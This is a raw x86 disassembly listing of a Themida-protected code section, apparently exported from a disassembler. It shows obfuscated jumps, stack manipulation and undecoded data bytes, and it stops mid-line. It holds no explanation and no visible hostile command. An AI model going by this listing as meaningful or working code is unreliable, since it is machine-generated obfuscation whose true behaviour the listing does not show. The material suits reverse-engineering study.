Themida_:005118A4j pop esp xor esi, 71800200h push edi jmp loc_50BAE3 ; --------------------------------------------------------------------------- loc_50E0AF: ; CODE XREF: Themida_:00510E2Dj mov edi, 4ABD09EEh jmp loc_511515 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h aH8: unicode 0, <h8> dw 0E900h dw 0CFEDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E0C6: ; CODE XREF: Themida_:005066D9j xchg ebp, [esp] pop esp jmp loc_503758 ; --------------------------------------------------------------------------- db 50h dd 0B8h, 534D2D00h, 0F0291F8Eh, 8E534D05h, 0E9C6891Fh dd 3826h, 6676BB53h, 0D9890F99h, 0FF6518E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E0F5: ; CODE XREF: Themida_:0050FF33j mov [esp], ecx mov ecx, 4 add ebp, 442A3720h jmp loc_507F94 ; --------------------------------------------------------------------------- loc_50E108: ; CODE XREF: Themida_:00500276j xchg edx, [esp] jmp loc_5122B1 ; --------------------------------------------------------------------------- dd 39E9F129h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E117: ; CODE XREF: Themida_:0050A870j mov [esp], ebp mov ebp, 0BA2696Bh jmp loc_50B42B ; --------------------------------------------------------------------------- loc_50E124: ; CODE XREF: Themida_:0051138Fj mov esp, [esp] push edx sub esp, 4 mov [esp], esi mov esi, 70B3119Ah xor esi, 7ABF71F5h sub esi, 0B1E6F41Ah mov edx, esi pop esi jmp loc_51413C ; --------------------------------------------------------------------------- dw 3C89h dd 97BB5324h, 89722F16h, 0E7C15BDFh, 6802h, 0AFE90000h dd 89FFFFD0h, 0A3E92414h, 5CFFFFA8h, 0B2E9C330h, 0B2FFFF63h dd 0FECAFEC4h, 87DEE9C2h, 0B951FFFFh, 44F416ADh, 0FF3156E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E189: ; CODE XREF: Themida_:005085EFj add edi, 75161DE0h pop ebx push edx push ebx mov ebx, 4 mov edx, ebx pop ebx jmp loc_50890E ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFF5337h ; --------------------------------------------------------------------------- loc_50E1A8: ; CODE XREF: Themida_:005032E9j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edi, edx pop edx jmp loc_50FAF4 ; --------------------------------------------------------------------------- dw 3C89h dd 52E78924h, 0FFB62BE9h, 81D101FFh, 273151C1h, 83D3E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E1DA: ; CODE XREF: Themida_:004FF9F9j sub ebp, 0C74AFD18h mov edi, ebp jmp loc_50F69B ; --------------------------------------------------------------------------- loc_50E1E7: ; CODE XREF: Themida_:0050752Aj add esp, 4 sub eax, ebp pop ebp push 4DEEh mov [esp], ebx push esi jmp loc_50BBCC ; --------------------------------------------------------------------------- loc_50E1FB: ; CODE XREF: Themida_:00500C4Dj and ebx, 255B3CB2h or ebx, 1BE56B2Fh sub ebx, 3FE56BBBh add edi, ebx pop ebx sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 4 add ebx, 70BF22C8h sub ebx, 2D256056h add ebx, edi jmp loc_50E593 ; --------------------------------------------------------------------------- dw 489h dd 48B5424h, 4C48324h, 5F256855h, 0C890000h, 4B924h, 0CD890000h dd 83240C8Bh, 816804C4h, 89000038h, 0E789243Ch, 4C781h dd 0EF830000h, 243C8704h, 2434895Ch, 0CB1EDBBEh, 0E9F02971h dd 0FFFFE155h, 24048B66h, 6BC268h, 56D9E900h, 489FFFFh dd 0BC91E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E28E: ; CODE XREF: Themida_:0050876Ej push ecx jmp loc_510522 ; --------------------------------------------------------------------------- dd 6224BB53h, 0DA017C28h, 37AFE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E2A2: ; CODE XREF: Themida_:005020E0j mov eax, 4 add edx, eax pop eax push eax mov eax, 44583C5Eh sub eax, 44583C5Ah add edx, eax pop eax jmp loc_513A29 ; --------------------------------------------------------------------------- db 50h, 0E9h, 0D5h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E2C3: ; CODE XREF: Themida_:0050D213j push edi inc dword ptr [esp] pop edi sub edi, 18764134h add edi, 6005BD0Bh jmp loc_50564E ; --------------------------------------------------------------------------- db 68h, 73h, 5Ch dd 3C890000h, 0CC96824h, 0EC830000h, 24248904h, 4240481h dd 8F000000h, 4812404h, 424h, 3DE95F00h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50E303: ; CODE XREF: Themida_:005105FFj sub esi, 0F14F57A7h add edx, esi pop esi push 12ACh jmp loc_512E49 ; --------------------------------------------------------------------------- dw 6852h dd 9F2h, 0B8240489h, 648E5512h, 4EC81h, 3C890000h, 4CD1BF24h dd 87575AE7h, 0D1F7240Ch, 0FFFD40E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E33D: ; CODE XREF: Themida_:0050410Cj add esp, 4 add ebx, eax push 3E72h mov [esp], edx mov edx, 145A42F6h shl edx, 3 add edx, 2B631CCCh push eax mov eax, 28A84CD8h sub edx, eax pop eax shr edx, 8 sub esp, 4 mov [esp], ebp mov ebp, 402040AAh jmp loc_507805 ; --------------------------------------------------------------------------- dw 0D6F6h aChe db 'h=',0 dw 8900h dd 0AEB5240Ch, 38B9E9h, 0E9E38900h, 0FFFF733Eh ; --------------------------------------------------------------------------- loc_50E394: ; CODE XREF: Themida_:00507F5Fj pop edx jmp loc_50C1FC ; --------------------------------------------------------------------------- dw 3C89h dd 49F2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E3A2: ; CODE XREF: Themida_:005060F5j pop esi add ecx, 88E3009h add ebp, ecx pop ecx sub esp, 4 mov [esp], eax mov eax, 43FF386Eh push ebx mov ebx, 38560C6Bh and eax, ebx pop ebx push edi jmp loc_50707D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0E92434FFh, 0FFFF4293h, 160229BFh, 0E9FB0957h, 0FFFF6B8Ah ; --------------------------------------------------------------------------- loc_50E3E0: ; CODE XREF: Themida_:0050F28Fj xor cl, 39h shr cl, 3 inc cl jmp loc_5033EC ; --------------------------------------------------------------------------- loc_50E3ED: ; CODE XREF: Themida_:00503DE2j mov esi, esp add esi, 4 push 2126h mov [esp], edx mov edx, 22435648h or edx, 4C94324Ah xor edx, 796271A5h xor edx, 26916CD4h xor edx, 228060D7h jmp loc_51472E ; --------------------------------------------------------------------------- db 89h dd 59B82404h, 567C0262h, 0D64D7CBEh, 0BF572Bh, 0E9000000h dd 4A7Dh ; --------------------------------------------------------------------------- loc_50E438: ; CODE XREF: Themida_:0050049Fj xchg esi, [esp] jmp loc_5107F7 ; --------------------------------------------------------------------------- loc_50E440: ; CODE XREF: Themida_:004FFA11j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax jmp loc_500C39 ; --------------------------------------------------------------------------- loc_50E44F: ; CODE XREF: Themida_:00512BEFj mov [esp], ebx jmp loc_51467D ; --------------------------------------------------------------------------- loc_50E457: ; CODE XREF: Themida_:00513BCBj mov esi, [esp] jmp loc_5016E8 ; --------------------------------------------------------------------------- db 29h dd 0C875AD1h, 3C895C24h, 2474FF24h, 0A0E95F04h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E473: ; CODE XREF: Themida_:0050508Bj ; Themida_:00509F39j push 72A6h jmp loc_513E15 ; --------------------------------------------------------------------------- loc_50E47D: ; CODE XREF: Themida_:0050DC05j add esp, 4 push esi mov esi, 4 jmp loc_51028C ; --------------------------------------------------------------------------- loc_50E48B: ; CODE XREF: Themida_:00508AE2j shr ebx, 7 jmp loc_50ED17 ; --------------------------------------------------------------------------- db 89h dd 0C8295EF1h, 0FFC243E9h, 240C89FFh, 0FF1428E9h, 0DCEA81FFh dd 0E9309D36h, 4393h ; --------------------------------------------------------------------------- loc_50E4B0: ; CODE XREF: Themida_:00507880j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_51480E ; --------------------------------------------------------------------------- loc_50E4C6: ; CODE XREF: Themida_:0050CB7Aj sub esp, 4 mov [esp], edi mov edi, 6596297Bh jmp loc_50CE18 ; --------------------------------------------------------------------------- db 4, 2 dup(28h) dd 4282CC8h, 240C8BA4h, 560AE950h, 0D6F70000h, 8108E6C1h dd 70D137F6h, 5C57E99Bh, 0C8B0000h, 4C48124h, 53000000h dd 0EF52EF68h, 684B5B1Eh, 5C24h, 401DE9h, 0C4835A00h, 0E930FF04h dd 60D4h, 0FF12F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E525: ; CODE XREF: Themida_:00510297j mov edi, 74053AFFh mov ebp, edi push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 jmp loc_511B60 ; --------------------------------------------------------------------------- dw 4048h dd 12Dh, 77A40500h, 0EE97519h, 81000043h, 4C3h, 4C38300h dd 0E9241C87h, 0FFFFD8B6h ; --------------------------------------------------------------------------- loc_50E560: ; CODE XREF: Themida_:00500D7Dj pop eax pop dword ptr [esp] mov esp, [esp] add eax, 62857D2Eh jmp loc_5085F4 ; --------------------------------------------------------------------------- db 81h, 0ECh, 2 dd 66000000h, 0B1240C89h, 1F54E9B7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E582: ; CODE XREF: Themida_:0050D5ACj sub ecx, 0F10B7D7Bh push eax mov eax, 3E2223D5h jmp loc_50D0EE ; --------------------------------------------------------------------------- loc_50E593: ; CODE XREF: Themida_:0050E22Dj add ebx, 2D256056h sub ebx, 70BF22C8h push dword ptr [esp] pop edi add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_509FBA ; --------------------------------------------------------------------------- dd 311EE958h, 468FFFFh, 59000000h, 4752E9h, 604A6800h dd 3C890000h, 4EC8124h, 54000000h, 5024048Fh, 4B685755h dd 5F34442Fh, 81D7F747h, 41B980EFh, 8BFD89C8h, 0C481243Ch dd 4, 0FFC247E9h, 815D5EFFh, 8A1426EDh, 2E83E96Dh, 0E7280000h dd 24048B66h, 2C481h, 92E90000h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E617: ; CODE XREF: Themida_:0050A961j mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 62857D2Eh sub [esp+4], edi mov edi, [esp] sub esp, 4 jmp loc_505EAA ; --------------------------------------------------------------------------- db 86h dd 2EC83D3h, 24048966h, 88D58851h, 0D4F659ECh, 8B66E288h dd 0C4832404h, 80D38602h, 9304E0C3h, 932CD828h, 5B2434FFh dd 8004C483h, 0B050CDEBh, 28133413h, 0EB8058C3h, 80C30002h dd 686602C3h, 89661C62h, 0B5240Ch, 3629E9h db 0 ; --------------------------------------------------------------------------- loc_50E685: ; CODE XREF: Themida_:005099FCj push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5073A3 ; --------------------------------------------------------------------------- dw 8166h dd 0B4022444h, 6C816651h, 72FB0224h, 0BE665666h, 81664781h dd 52042444h, 74296625h, 55660424h, 0FF449EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E6B9: ; CODE XREF: Themida_:00509B71j add esp, 4 add esp, 4 xor eax, 17C74BD2h add ebx, 7B201AA2h add ebx, 6F787EA1h jmp loc_50BE51 ; --------------------------------------------------------------------------- dd 0CBE6815Fh, 5136F810h, 31E4B850h, 0C18908E2h, 8BCE3158h dd 0C481240Ch, 4, 475EF721h, 0FFD7EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E6FD: ; CODE XREF: Themida_:00500926j mov eax, 21FD61FDh inc eax push ebp mov ebp, 21FD61FAh xor eax, ebp jmp loc_50274D ; --------------------------------------------------------------------------- dd 30651E2Dh, 3B69E947h, 248BFFFFh, 48B6624h, 5E23E924h dd 0CF01FFFFh, 5EE7E9h, 6E2C100h, 5AE9D2F7h, 5BFFFF54h dd 81240C8Bh, 4C4h, 0A4EB8000h, 28ECEB80h, 0ECC380C3h dd 2EC81h, 89660000h, 0C3682404h, 8900000Bh, 15E9241Ch dd 0BAFFFF51h, 4F1C241Ch, 0FFAD96E9h, 6AC805FFh, 0C2893CC0h dd 0B466858h, 42E90000h, 8B00001Dh, 0C483240Ch, 54AFE904h dd 95BD0000h, 0F74E1E4Bh, 81EDD1D5h, 0BEBB3BEDh, 0FEBB5339h dd 681F321Eh, 3FFFh, 0E9241C89h, 0FFFF732Dh, 6149C681h dd 1C8B3CE2h, 5EDBE924h, 28B30000h, 8B66DE08h, 0E955241Ch dd 4F50h, 56476F05h, 0E9F80137h, 0FFFFB8FBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 6D8831CBh jmp loc_511F14 ; --------------------------------------------------------------------------- dw 0EE81h dd 4, 2474FF56h, 48F5E04h, 55FE924h, 0C5680000h, 89000034h dd 0FF5A2404h, 48B2434h, 4C48324h, 0E9E38953h, 0FFFFB7FFh ; --------------------------------------------------------------------------- loc_50E810: ; CODE XREF: Themida_:0050F778j mov ebx, [esp] add esp, 4 dec cl jmp loc_50D965 ; --------------------------------------------------------------------------- dd 0D5885150h, 0E959E888h, 0FFFF9A3Ah, 9154E981h, 0C8091D2Ch dd 67D90D59h, 2054D47h, 0E9547354h, 0FFFF8D9Bh, 4C481h dd 1C680000h, 0E9000002h, 0FFFF6C27h, 5FF3B850h, 0F4054865h dd 212FCDA8h, 0F78158C7h, 456A3BDCh, 1714E9h, 83E08900h dd 1C8904ECh, 0AE685624h, 8B153C30h, 0EC812434h, 4, 89243C89h dd 4C781E7h, 81000000h, 4C7h, 50BAE900h, 4890000h, 94685724h dd 5F47AC3Dh, 0BB53h, 98E90000h, 87FFFFCCh, 248B242Ch dd 24043124h, 0FF0F59E9h, 241431FFh, 0FFE8EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E8C5: ; CODE XREF: Themida_:00506FF1j xchg edx, [esp] pop esp push dword ptr [edi+eax*4] push ebp jmp loc_508A18 ; --------------------------------------------------------------------------- dw 0EA83h dd 24148704h, 0FFA167E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E8DD: ; CODE XREF: Themida_:004FFBCCj mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 7AB979BAh mov edx, 85478645h push 7463h mov [esp], esi mov esi, 3CA878BCh dec esi shl esi, 1 or esi, 65265301h push edx mov edx, 4F2B1BB5h or esi, edx pop edx dec esi add esi, 0BC2E672Fh sub edx, 224A65A8h add edx, esi jmp loc_50F55C ; --------------------------------------------------------------------------- dw 26BFh dd 0F757D11Fh, 0D090E9D7h, 3C87FFFFh, 24248B24h, 46A9E9h dd 3768AD00h, 8900005Fh, 9DE9240Ch db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E94B: ; CODE XREF: Themida_:0050AEB6j push 1584h mov [esp], esi mov esi, 4 sub edx, 15746E13h add edx, esi sub esp, 4 mov [esp], ebx mov ebx, 15746E13h sub edx, 0EC97093h add edx, ebx push ebp mov ebp, 34CB5A2Fh sub ebp, 2601E99Ch add edx, 8EE4D06h add edx, ebp push ebx jmp loc_50FDD5 ; --------------------------------------------------------------------------- loc_50E98D: ; CODE XREF: Themida_:005076EEj pop edi xchg esi, [esp] pop esp movzx ax, byte ptr [eax] push edx push 1F5Ah mov [esp], esp add dword ptr [esp], 4 jmp loc_5057CC ; --------------------------------------------------------------------------- db 66h dd 679AC281h, 81C28166h, 0E95366E1h, 0FFFFEC88h, 17101235h dd 75CE2537h, 0E8C177F5h, 8898E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E9CE: ; CODE XREF: Themida_:00508320j mov eax, [esp] jmp loc_50D833 ; --------------------------------------------------------------------------- loc_50E9D6: ; CODE XREF: Themida_:00500A5Dj mov eax, esp push ebx push edi mov edi, 4 mov ebx, edi pop edi jmp loc_50B843 ; --------------------------------------------------------------------------- loc_50E9E7: ; CODE XREF: Themida_:0050A0E1j mov edx, 0A881A6Eh push edx xchg eax, [esp] not eax jmp loc_504E29 ; --------------------------------------------------------------------------- db 81h dd 362184C7h, 0CAEF8158h, 8123E022h, 0C71ADFEFh, 81C7011Dh dd 0C71ADFC7h, 0CAC7811Dh, 5123E022h, 0EB1A15B9h, 0B15BE947h dd 8B66FFFFh, 8950240Ch, 405E0h, 42D0000h, 87000000h, 0E95C2404h dd 0FFFFB6AAh, 0BA52F001h, 34B93AE4h, 8B5AD029h, 89512434h dd 4AB7E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EA52: ; CODE XREF: Themida_:00502CC4j push eax mov eax, 0 add eax, edx add dword ptr [eax], 1 pop eax push dword ptr [esp] pop edx push 1C58h mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_4FF9DD ; --------------------------------------------------------------------------- aBV_pesr db 'ˢ_pe`',0 align 2 loc_50EA8A: ; CODE XREF: Themida_:00514E31j add ebp, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_514D5B ; --------------------------------------------------------------------------- dd 4245C29h, 0FF9967E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EAA9: ; CODE XREF: Themida_:00511574j mov edi, [esp] sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 jmp loc_50DAFD ; --------------------------------------------------------------------------- dw 0B850h dd 4, 0FF73C1E9h, 51A168FFh, 0C15F35C6h, 0DFF702EFh, 0D787EFD1h dd 3B66E9h, 0B0C68100h, 0E979E767h, 0FFFF1527h, 70E9565Fh dd 58FFFF62h, 0E1C14941h, 8384E902h, 2C8BFFFFh, 4C48324h dd 8B240C87h, 0E9522424h, 272Eh ; --------------------------------------------------------------------------- loc_50EB10: ; CODE XREF: Themida_:0050C606j mov ebx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 0 sub [esp], ecx jmp loc_5097C1 ; --------------------------------------------------------------------------- dw 0C381h dd 1489689Fh, 1C13B850h, 0D403F88h, 5A47FAh, 0FF7CD2E9h dd 2434FFFFh, 65FA6859h, 67E90000h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EB5B: ; CODE XREF: Themida_:0050FAEFj mov ebp, [esp] jmp loc_5119C7 ; --------------------------------------------------------------------------- db 59h dd 4C481h, 0C4810000h, 4, 4EC81h, 1C890000h, 68E38924h dd 3455h, 68243489h, 4, 0E924348Bh, 60ABh, 782FED68h, 0E3BE911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EB9A: ; CODE XREF: Themida_:0050D45Dj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax jmp loc_514456 ; --------------------------------------------------------------------------- loc_50EBB1: ; CODE XREF: Themida_:0050FBF1j pop edi sub esi, 35C4FA13h mov ebx, esi jmp loc_507FD3 ; --------------------------------------------------------------------------- db 57h dd 0C7815F54h, 4, 0FF6654E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EBCD: ; CODE XREF: Themida_:00508E06j add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr ecx, 0Ah push 4ECAh mov [esp], ebx push dword ptr [esp] pop eax push 6CC2h mov [esp], ecx mov ecx, esp jmp loc_5143DF ; --------------------------------------------------------------------------- loc_50EBFD: ; CODE XREF: Themida_:00504E01j mov edi, 216943C2h jmp loc_51178E ; --------------------------------------------------------------------------- db 66h dd 9C2424D3h, 0FF0C05E9h db 0FFh ; --------------------------------------------------------------------------- loc_50EC11: ; CODE XREF: Themida_:0050189Bj add esp, 4 sub ebx, 7DA71845h push ebp mov ebp, 7639460Fh jmp loc_50D93B ; --------------------------------------------------------------------------- dd 3C8BF821h, 4C48124h, 0E9000000h, 0FFFFB365h, 3CA3E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EC3E: ; CODE XREF: Themida_:00508F33j xor edx, [esp] jmp loc_500C61 ; --------------------------------------------------------------------------- loc_50EC46: ; CODE XREF: Themida_:00507FF4j and ebp, 34084EDCh or ebp, 2CA40088h xor ebp, 2CAC4888h add edi, ebp pop ebp sub esp, 4 jmp loc_507C89 ; --------------------------------------------------------------------------- loc_50EC63: ; CODE XREF: Themida_:005073E5j add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edx push esi jmp loc_512988 ; --------------------------------------------------------------------------- db 50h, 81h, 4 dd 1D32C724h, 3AE95A53h, 5EFFFF9Ch, 3BA8EA81h, 0CA011E98h dd 44ECE956h, 34890000h, 665F6824h, 14890000h, 56AEBA24h dd 0E2812C8Fh, 0B1E128Ch, 0FF8B71E9h, 24148BFFh, 4C481h dd 0E2810000h, 5E1D259Eh, 1BA5256h, 89000000h, 0F2015AD6h dd 0C8C2815Eh, 68DCB8DFh, 48FBh, 50241489h, 6C91E95Ah dd 3C8BFFFFh, 6AE95524h, 2D00003Ch, 56443617h, 1705F001h dd 5564436h, 35E5668Ah, 8324348Bh, 46E904C4h, 8300005Bh dd 1C8904ECh, 9E2BB24h, 0D4E97E92h db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50ED17: ; CODE XREF: Themida_:0050E48Ej sub ebx, 0FFFFFFFFh add ebx, 57C2077Ch jmp loc_501EBB ; --------------------------------------------------------------------------- dd 6784C681h, 0B9515B7Ch, 60475B8Eh, 2959CE29h, 8EC681EEh dd 8360475Bh, 3C8904ECh, 6784BF24h, 0FE295B7Ch, 0F3015D5Fh dd 0FFB715E9h, 30E95CFFh db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50ED5B: ; CODE XREF: Themida_:0050BFE6j xor esi, 229508D9h dec esi and esi, 793C0A41h neg esi add esi, 4360AA66h xor ebp, esi pop esi jmp loc_508F25 ; --------------------------------------------------------------------------- dd 0FFFE3058h, 835B2434h, 0C6FE04C4h, 0C008EEC0h, 0CEFE05EEh dd 0E9FFC680h, 0FFFF4CDDh, 0E9241C8Bh, 0FFFFF62Ah, 5B87E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EDA2: ; CODE XREF: Themida_:005072CFj xchg edx, [esp] jmp loc_51140D ; --------------------------------------------------------------------------- loc_50EDAA: ; CODE XREF: Themida_:0050FBDAj add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp push 5ED0h mov [esp], edx jmp loc_514576 ; --------------------------------------------------------------------------- loc_50EDC4: ; CODE XREF: Themida_:00508525j sub esp, 4 jmp loc_510F2A ; --------------------------------------------------------------------------- loc_50EDCC: ; CODE XREF: Themida_:005128B3j sub esp, 4 mov [esp], eax push 1674h mov [esp], ebx jmp loc_5088DA ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8904EC83h, 3EE9242Ch, 89FFFF53h, 405E0h, 57550000h dd 4EC81h, 15E90000h, 83FFFFD8h, 148904ECh, 0E6895624h dd 4C681h, 0A7E90000h, 81FFFFFCh, 4F6D26F6h, 44B0E974h dd 0DE29FFFFh, 0FFF97FE9h, 4C481FFh, 0F6000000h, 62EE80D6h dd 8B66F030h, 0FCE92414h, 5CFFFFCDh, 4EC8353h, 88240489h dd 0A892E9E8h, 483FFFFh, 535F0424h, 0FF93A2E9h, 0ABBF57FFh dd 165B102h, 51E95FFDh, 0FFFFFCCh, 0F6168C8h, 4890000h dd 99CE924h, 1487FFFFh, 5332E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EE82: ; CODE XREF: Themida_:00504DBBj pop dword ptr [esp] pop esp jmp loc_508569 ; --------------------------------------------------------------------------- db 0BDh dd 4, 4246C01h, 0FF3747E9h, 4C483FFh, 0FFB104E9h, 94BE56FFh dd 0F7476D03h, 9C69E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EEAE: ; CODE XREF: Themida_:00509ACDj mov [esp], ebx push edx jmp loc_50F89C ; --------------------------------------------------------------------------- loc_50EEB7: ; CODE XREF: Themida_:00504A5Fj sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edx push esp mov edx, [esp] jmp loc_510623 ; --------------------------------------------------------------------------- loc_50EECF: ; CODE XREF: Themida_:00505596j mov eax, 0D9B03404h add ebx, eax pop eax add ebp, 7E3F41CBh add ebp, ebx sub ebp, 7E3F41CBh pop ebx add ebp, 4 xchg ebp, [esp] pop esp imul ecx, eax push ecx pushf jmp loc_50CB4A ; --------------------------------------------------------------------------- db 1 dd 148759CAh, 0CE5DE924h, 814DFFFFh, 1EEA23C5h, 0CB705B6h dd 0E8011A58h, 580CB72Dh, 2434FF1Ah, 4C4835Dh, 6803E8C1h dd 1520h, 0BF243C89h, 109B1690h, 1600B951h, 93E958A6h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50EF37: ; CODE XREF: Themida_:00508E57j sub edi, eax sub edi, 44B63136h pop eax xchg edi, [esp] jmp loc_5077CE ; --------------------------------------------------------------------------- dd 4C18159h, 50000000h, 0FF251DE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5055DC ; --------------------------------------------------------------------------- loc_50EF6D: ; CODE XREF: Themida_:005138E6j mov [esp], esp add dword ptr [esp], 4 jmp loc_501903 ; --------------------------------------------------------------------------- loc_50EF79: ; CODE XREF: Themida_:0050173Cj sub ebp, 461850FDh jmp loc_50BC5D ; --------------------------------------------------------------------------- loc_50EF84: ; CODE XREF: Themida_:0050D936j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_4FFF13 ; --------------------------------------------------------------------------- loc_50EF95: ; CODE XREF: Themida_:00511484j jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_50EF9A: ; CODE XREF: Themida_:00500176j mov esi, 569F32F8h jmp loc_505507 ; --------------------------------------------------------------------------- loc_50EFA4: ; CODE XREF: Themida_:00503CB7j shr ecx, 7 push 9B2h mov [esp], edx push 2B89h jmp loc_50C1E4 ; --------------------------------------------------------------------------- loc_50EFB9: ; CODE XREF: Themida_:0050F3B7j sub ebp, ecx pop ecx and ebp, 3DDE3547h neg ebp shr ebp, 2 xor ebp, 3DD8B44Ah mov esi, ebp jmp loc_505609 ; --------------------------------------------------------------------------- loc_50EFD4: ; CODE XREF: Themida_:005148C6j push esp jmp loc_50F9FE ; --------------------------------------------------------------------------- loc_50EFDA: ; CODE XREF: Themida_:0050623Aj sub eax, 64734E97h jmp loc_5005B2 ; --------------------------------------------------------------------------- loc_50EFE4: ; CODE XREF: Themida_:0051398Aj push esp jmp loc_50273E ; --------------------------------------------------------------------------- loc_50EFEA: ; CODE XREF: Themida_:005137ABj add ebx, 4DB71770h mov ecx, [esp] add esp, 4 jmp loc_508919 ; --------------------------------------------------------------------------- dw 3359h dd 4312404h, 24043324h, 5624248Bh, 0B547C968h, 0BF575E79h dd 631A4782h, 0FF8662E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F01D: ; CODE XREF: Themida_:005036CEj add al, dl sub al, 3Eh mov edx, [esp] jmp loc_509B16 ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 88DE8852h, 34FF2877h, 89505A24h, 405E0h, 34E90000h dd 66FFFF62h, 665D665Fh, 1BB96651h, 0CD016642h, 89665966h dd 665B5DEEh, 5260E681h, 7EEC166h, 144E9h, 0F8015E00h dd 0E728582Dh, 0EFE95F78h, 81FFFF70h, 0AA6DF9F7h, 5FFE29EEh dd 0FFE840E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F085: ; CODE XREF: Themida_:005129F2j pop esi jmp loc_507BED ; --------------------------------------------------------------------------- db 0FFh dd 515F2434h, 0C181E189h, 4, 0FFA6DFE9h, 2C281FFh, 33000000h dd 14312414h, 24143324h, 6624248Bh, 5624048Bh, 0BB53E689h dd 359637ADh, 736CE381h, 0C3811DD2h, 1, 17C0F381h, 0EB815379h dd 46EB24E9h, 0D2E9DE01h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F0DB: ; CODE XREF: Themida_:004FFF14j mov [esp], esi push ebp mov ebp, 4BC02483h mov esi, ebp mov ebp, [esp] push edx jmp loc_50489E ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FFD03100h, 0E5E92434h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F0FF: ; CODE XREF: Themida_:00501A31j not ecx jmp loc_5036D3 ; --------------------------------------------------------------------------- loc_50F106: ; CODE XREF: Themida_:0050D7AFj shr edi, 6 shl edi, 7 dec edi add edi, 37092C03h push edi jmp loc_503CE0 ; --------------------------------------------------------------------------- db 29h, 0F9h, 0E9h dd 0FFFF7559h ; --------------------------------------------------------------------------- loc_50F120: ; CODE XREF: Themida_:00503BDEj mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_507F44 ; --------------------------------------------------------------------------- db 66h dd 3BE9E3D1h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F13B: ; CODE XREF: Themida_:0050DD31j push dword ptr [esp] push dword ptr [esp] pop esi push ebp jmp loc_50DFBD ; --------------------------------------------------------------------------- dd 4B30F66h, 0C3E99C24h, 5DFFFF06h, 70BAEA81h, 0C281022Ah dd 97781556h, 3ECAE9h, 0C4835E00h, 8BC80104h, 0C483240Ch dd 2F96804h, 0FE90000h, 89FFFF68h, 0E1E955E7h, 0ACFFFF21h dd 0FF3C9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F189: ; CODE XREF: Themida_:00506425j push 79BDh mov [esp], ebp push esi mov esi, 3F37591Ch push eax mov eax, 1C4B324Bh shl eax, 3 shr eax, 7 add eax, 71C55737h jmp loc_50BB44 ; --------------------------------------------------------------------------- db 66h, 81h, 0F6h dd 99E914EEh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F1B7: ; CODE 